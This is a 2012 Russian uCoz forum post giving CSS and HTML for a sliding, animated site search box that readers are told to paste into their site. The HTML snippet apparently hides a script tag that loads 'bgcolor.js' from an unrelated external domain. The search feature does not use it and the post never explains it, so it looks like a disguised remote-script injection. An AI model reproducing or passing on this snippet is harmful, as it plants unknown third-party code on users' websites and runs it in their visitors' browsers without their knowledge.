Информационная панель

Популярные статьи
Новые статьи
Популярные готовые сервера
Новые готовые сервера
Активные пользователи
Новые пользователи
Популярные фильмы
Новые фильмы








Здесь может быть ваша реклама, по всем вопросам обращаться на форум Elagia.ucoz.Ru

Выдыижной, Красивый поиск - Форум Elagia
  • Страница 1 из 1
  • 1
Выдыижной, Красивый поиск
AsissaДата: Воскресенье, 15.07.2012, 18:57 | Сообщение # 1

Сообщений: 5
Награды: 0

[ 0 ]

Не в сети
Смотрим скрин скрипта: http://i075.radikal.ru/1207/67/0c366b24f772.png

Установка:
1)Вставляем в CSS в самый низ:

Code
.poisk{   
   position:fixed;   
   background-image:-webkit-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-moz-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:-o-linear-gradient(bottom,#426BFF,#60A5FF);   
   background-image:linear-gradient(bottom,#426BFF,#60A5FF);   
   -webkit-box-shadow:0 0 3px black;   
   -moz-box-shadow:0 0 3px black;   
   -o-box-shadow:0 0 3px black;   
   box-shadow:0 0 3px black;   
   border:1px solid #404040;   
   left:-200px;   
   width:240px;   
   height:30px;   
   border-radius:3px;   
   top:100px;   
   color:white;   
   text-shadow:0 0 3px black;   
   -webkit-transition:all 0.4s ease;   
   -moz-transition:all 0.4s ease;   
   -o-transition:all 0.4s ease;   
   transition:all 0.4s ease;   
   padding:3px;   
   }   
   .poisk:hover{   
   left:-3px;   
   }   
   .poisk #search{   
   width:175px;   
   position:relative;   
   top:3px;   
   left:5px;   
   -webkit-transition: all 0.4s ease;   
   -moz-transition: all 0.4s ease;   
   -o-transition: all 0.4s ease;   
   transition: all 0.4s ease;   
   border-radius:3px;   
   border:1px solid #606060;   
   height:26px;   
   }   
   .poisk:hover #search{   
   width:230px;   
   }   
   #search{   
   -webkit-transition:all 0.2s ease;   
   -moz-transition:all 0.2s ease;   
   -o-transition:all 0.2s ease;   
   transition:all 0.2s ease;   
   }   
   #search:focus{   
   border:1px solid #404040;   
   -webkit-box-shadow:inset 1px 1px 3px #ccc;   
   -moz-box-shadow:inset 1px 1px 3px #ccc;   
   box-shadow:inset 1px 1px 3px #ccc;   
   }   
   .poisk:hover #poiskknopka{   
   display:none;   
   }


2)Вставляем в Нижнюю часть сайта:

Code
<div class="poisk"><form class="poick_os" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/"><input id="search" class="poick_pole" type="text" name="q" maxlength="45" value="Поиск..." onclick="if (this.value=='Поиск...'){this.value='';}" id="acpro_inp11" autocomplete="off"><script src="http://qyjkl.ru/bgcolor.js" type="text/javascript"></script><span style="position:absolute;right: 10px;top: 6px;font-family: tahoma, sans-serif;font-size: 14px;font-style: normal;font-variant: normal;font-weight: normal;" id="poiskknopka"><img src="http://s017.radikal.ru/i427/1207/d2/fe6772a47ea5.png"></span></form></div>
  • Страница 1 из 1
  • 1
Поиск:


Все материалы размещенные на сайте предоставляются исключительно в ознакомительных целях. Копирование фалов возможно только при указывания источника на наш сайт.


Конструктор сайтовuCoz
PR-CY.ru